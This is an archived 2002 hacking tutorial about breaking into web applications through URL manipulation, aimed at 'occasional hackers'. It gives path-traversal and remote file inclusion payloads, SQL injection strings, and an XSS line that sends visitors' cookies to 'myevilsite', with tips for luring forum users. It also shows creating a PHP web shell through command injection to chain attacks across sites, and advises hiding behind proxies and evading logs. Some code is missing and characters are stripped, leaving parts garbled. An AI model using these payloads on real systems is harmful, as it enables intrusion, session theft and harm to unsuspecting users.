TUCoPS :: Web :: Apps

TUCoPS :: Web :: Apps :: occweb.txt
The Occasional Hacking of Web Applications

The occasional hacking of web applications
Jun 26 2002
By: spoonfork

In this article, I will highlight some of the most common methods to find bugs and hack
your way into web application using just the web browser. This article does not present
anything new. There are a lot of methods to hack web application, and there are also tons
of tools out there to help you in your hacking endeavours. Consult some of the references
and tools listed at the end of this article if you wish to do some hardcore web hacking. This
article is, however, aimed at the occasional hackers, those who hack whenever there is
time or those who are curious in exploiting URLs.

Hopefully, you may find a few tricks or help get started on web hacking, but please check
out the references for those who develop some of the techniques. Topics covered in this
article include remote command execution, XSS, SQL injection, session ids, and hacking
websites using other websites. NOTE: None of the URLs used in this article are real, they
are hypothetical based on some of the real URLs that I've encountered.

--] 2.0 Tools

You need a web browser. I suggest using Internet Explorer rather than Opera
or any other browsers. This is because IE handles URLs better than Opera.
An example is the following URL:

http://victim/scripts/winnt/system32/cmd.exe?/c+copy+c:winntsystem32

tskill.exe+c:inetpubscriptspskill.exe

IE will send the URL properly to the webserver, whereas Opera will replace
the "" with "/", which may not give you the results that you want unless
you manipulate the URL. In addition, IE gives a nicer output than Opera.

The same thing may happen with the following URL hack:

http://victim/page.pl?file=../../../../../../../bin/ls

Opera will happily write it to become:

http://victim/bin/ls

In some instances, depending on how the web application is written, you
may want to use Opera. An example that I've encountered is SQL injection is
not possible using IE on one site because of cookie handling, but when I
switch to Opera, it was possible. Your mileage may vary in this case.

This will be used save all the interesting URLs that you get, and also
record error messages and various web server messages.

You need a list of reliable proxy servers. If you are really paranoid, hide
your traces using multiple proxies.

--] 3.0 Collecting and Examining URL 1 - Remote Command Execution

URLs are fun. Lets take a look at this example:

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt

An interesting pair of key and value is file and 3306.txt, and the fact that
the site a news site. The following can be deduced:

1. 3306.txt is a random file name that is generated daily
2. 3306.txt is possibly stored in some directory on the server

So what can we do? Try replacing it with the following:

1. 3305.txt
2. 3307.txt
3. foobar.txt
4. a3305.txt
5. 1.txt
6. http://www.google.com (or your favorite URL, no kidding!)
7. ../../../../../bin/ls (or ../../bin/ls or ../bin/ls or ../../bin/ls%00)

I included the last one because of news.pl, a high chance that the server
is hosted on a *nix platform. If you are lucky, you might get interesting
server output.

On some applications that I've tested, the number of "../" may varies. Just
keep on trying until you get the intended output.

If all else fail, you can try the following tricks:

1. http://victim/page.pl?file=../../bin/ls%00

2. http://victim/page.pl?file=|../../bin/ls%00

3. http://victim/page.pl?file=../../bin/ls|

NOTE: On PHP pages, the %00 may not work if the variable magic_quotes_gpc is
set to Off in php.ini. If the setting is on, PHP will change the 0x00 byte into
"", which does not give you the intended results. Also on PHP, executing
commands directly is NOT possible. Refer to Section 5.0 and 8.0 on how to
execute remote commands on PHP powered webservers.

Why would I want to replace 3306.txt with http://www.google.com? If you
are directed to google.com, chances are, you can redirect it to a specially
crafted URL and run commands on the webserver, like:

http://victim.com/news.pl?date=current&cat=soccer&template=sport&

file=http://myevilsite/cmd.php?cmd=ls

where cmd.php in myevilsite contains the following simple code:

This problem was detected in PHPNuke. In my example, this may not happen since
it is a Perl powered web application. Try this out if you encounter any PHP
powered site.

Or why don't we just directly send this query:

http://victim.com/3306.txt

A poorly written web application may give you the text file right away in its
unprocessed ASCII format. If the server gives a message indicating file not
found, the path to 3306.txt may be available if you view the source code of

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt

Another interesting key/value pair is "template" and "sport". "template" may
mean that a HTML template is used to create the HTML file from 3306.txt.
This is a valid assumption since it is almost universal that 3306.txt is an
ASCII text file. In this case, you can replace sport with other values
like the ones that I've shown.

What about "cat" and "date"? Let your imagination and creativity runs wild
with that.

--] 4.0 Collecting and Examining URL 2 - SQL injection

Let's look for potential SQL injection vulnerabilities.

http://victim.com/who.asp?id=3306

This is straighforward. Just replace 3306 with any of the following:

1. 3306'
2. 3306' or 1=1-
3. 3306' union select table_name from information_schema.tables--
3. 3306 union select table_name from information_schema.tables--

If the web application does not filter input properly (in my experiences,
out of 10 websites, only 2 or 3 filter user input), any of the four will
give enough indication for SQL injection attack.

Depending on the original queries, you can also try the following:

1. 3306 or 1=1--
2. 3306" or 1=1-- (double quotes)
3. 3306'or 'a'='a
4. 3306"or "a"="a
5. 3306') or ('a'='a

You can also do the same for POST requests (i.e. web pages that contains
text input boxes). So if the webpage requires you to input login name and
password or seach keyword, key in the above. If there is limitation in the
number of characters you can enter or some JavaScript validation, simply
copy the source and modify it, and use your modified login page instead.

Once you get the appropriate error messages, you can carry on performing
advanced SQL injection techniques.

--] 5.0 Examining URL 2 - Cross Site Scripting

I don't normally fancy XSS, but one XSS techniques that I would like to
explain is cookie theft.

The technique to manually look for XSS vulnerabilities is the same as
explained in Section 3.0. Here are some samples of XSS vulnerabilities:

- http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/

education/?ID=MCTN&target=alert(document.cookie)

- http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=

alert(‘Test’);

In the first URL, you will get a pop window displaying cookie. Your cookie
may contain username and a base64 decoded password (which we all know is a no
brainer to crack). What we want to do is steal cookies using the simplest means
possible.

One good target is community sites and forum. To test for XSS vulnerabilities,
simply put the following in a submission text box:

alert("fookimak")

Preview (!) your submission, and wait for the pop-up. Other things that you
can try are (replace [code] with the Javascript code that you want to execute:

-
-
- &[code]
- &{[code]}; (Nescape 4)
- (Netscape 4)
-
- (IE)

So what next? We need a way to capture the cookies. Set up an evil page on
another evil server. This evil page will capture all the cookies. The
following simple PHP code can be used:

Put that in your server, and link it from the forum/news page like this:

document.location='http://myevilsite/cookie.php%3Fcookie='+document.cookie'

Cookies will be sent to myevilsite everytime web surfers read the posting, and
written to the file cookie.txt.

Some hints:
1. Choose a community server.
2. Create an interesting and alluring profile, preferably with pictures of
models (but don't make it too obvious).
3. Check for XSS vulnerabilities on the personal info page.
4. If XSS is possible, embed the XSS code in your personal information.
5. Start participating in forums by posting provocative, etc, messages (you get
the idea).
6. Chances are, if you are "interesting" enough, they will view your profile
and in doing so, giving you their cookie!

Also, you may want to try embedding XSS code in the topic for forum pages.
You'll collect cookies faster this way.

If you don't have a server, apply for an account at sourceforge and put your
script there, but I advise strongly against this. Or you can jump to
Section 8.0 to find out how I attack another site using yet another site.

--] 6.0 Examining URL 3 - Overflowing using lynx and Perl

The techniques here can be used to overflow web applications. To find potential
target, refer to Section 3.0. What you need here is any *nix and Perl.
Alternatively, if you use Windows (like I do), you can install cygwin.

Its fairly easy. On the prompt just type:

lynx http://victim/page.pl?id=`perl -e 'print A x 1024'`

This generate

http://victim/page.pl?id=AAAAAAAAA...... (1024 As)

What can we achieve here? Well, for one thing, we may potentially crash the
application or the webserver.

--] 7.0 Examining URL 4 - Hijacking Session IDs

A more interesting attack is in the form of session ID hijacking. Simply put,
session ids are assigned to a user whenever he or she logs in or access a
website. This id will be propagated throughout the session, and by using this
id, the user does not need to supply username or password to browse the
website. The session is destroyed when the user logs out or when the browser
is closed.

Some application attach the session ids on the URL, while others write it to
temporary files, or insert it to database.

Session ids are easy to identify. The following are samples of session ids
taken from one website:

http://onewebsite/profile_update.jsp?Session_ID=1489175916.1017727385

http://onewebsite/profile_update.jsp?Session_ID=0970763919.1017727922

http://onewebsite/profile_update.jsp?Session_ID=1872895514.1017728566

These ids are hard to predict, but given enough time, more samples, and
resources, an attacker can probably generate a sequence of ids that can be
used to hijack a session.

This is an example of a randomly generated link from one card greeting site:

http://starsite/view_card.asp?card_id=69&uid=3306

http://starsite/view_card.asp?card_id=17&uid=3245

http://starsite/view_card.asp?card_id=88&uid=5416

An attacker can replace uid with any valid four digits, and view other people's
greeting cards provided that the id is still valid.

Session ids may also be in put in hidden fields in the HTML page. To discover
hidden session ids, take time to view the HTML source :)

Hijacking session ids is beyond the scope of this article. You can get more
information from this excellent paper written by David Endler of iDefense.
It contains some Perl script that you can customize to generate session ids.

--] 8.0 Websites Attacking Websites - How to Minimize Your Resources

I include this part because I had the following problem: I don't have my own
webserver and I have forgotten my tripod login name and password, and I want
to run commands as explained in Section 5.0. However, I've found two
web applications - one allows remote command execution (it is Perl based, and
runs Apache on some *nix), one allows remote file inclusion (it is PHP based,
and runs on Apache on some *nix), as explained in Section 3.0 and 5.0.

Assume the two URLs are like these:

http://victim1/page.php?file=http://www.google.com

http://victim2/fooki.pl?pos=../../bin/ls

On victim1, I am unable to execute remote commands, but I am able to include
other URLs (this is a feature of the fopen() function in PHP, in which you
can open URLs). In this case, I want to include a URL that allows me to
execute remote command on victim1, like this:

http://myevilsite/cmd.php?cmd=ls
">http://victim1/page.php?file=http://myevilsite/cmd.php?cmd=ls

where cmd.php is as simple as

Sadly, I don't have myevilsite. Instead I am going to create cmd.php on
victim2, in order to have:

http://victim2/cmd.php?cmd=ls
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls

Unfortunately, I cannot upload files to victim2, and using wget, fetch does
not work because of firewall.

http://victim2/fooki.pl?pos=../../bin/wget%20http://hax0r/cmd.php

Easy, just use the echo command to create cmd.php:

http://victim2/fooki.pl?pos=../../bin/echo -e "74%3fphp system(%3fcmd); ?76" > cmd.php.

Note that, in the echo command, I've give the option "-e" to enable
interpretation of the backslash escape character. "" are replaced
with their octal values 074 and 076 respectively. "?" is replaced with its
hex value %3f. After you've created the file, you can check it using cat. If
all goes well, the simply do:

http://victim2/cmd.php?cmd=ls
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls

This gonna put some people into deep shit :D

cmd.php can be written to support many features, such as file uploading
capabilities. In fact, POST method is preferred to execute commands because
POST's variables are not logged by the webserver.

Similarly, you can also create the cookie harvester in Section 5.0 and place
in it victim2.

--] 9.0 Application Attack Example - PHPNuke

Many vulnerabilities have been discovered regarding PHPNuke. I suggest readers
to consult the following links to learn more about PHPNuke vulnerabilities,
and apply the methods to other application.

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt

http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt

http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

--] 10.0 Conclusion

One of the most interesting method to discover web application vulnerabilities
is to familiarize oneself with URLs. Good hackers are able to find
vulnerabilities just by looking at the URL.

Another method is fault injection (which encompasses SQL injection and XSS).
This method is simply injecting random, weird, etc values to a query string,
and then observing the output from the web application and/or web server.

--] 11.0 References

*The title is chosen, because, I hack web pages occasionally :D

[1] http://online.securityfocus.com/archive/1/272037

[2] http://www.cgisecurity.com/articles/xss-faq.txt

[3] http://mel.ini2.net/p/sql_injection_walkthrough.txt

--] 12.0 Tools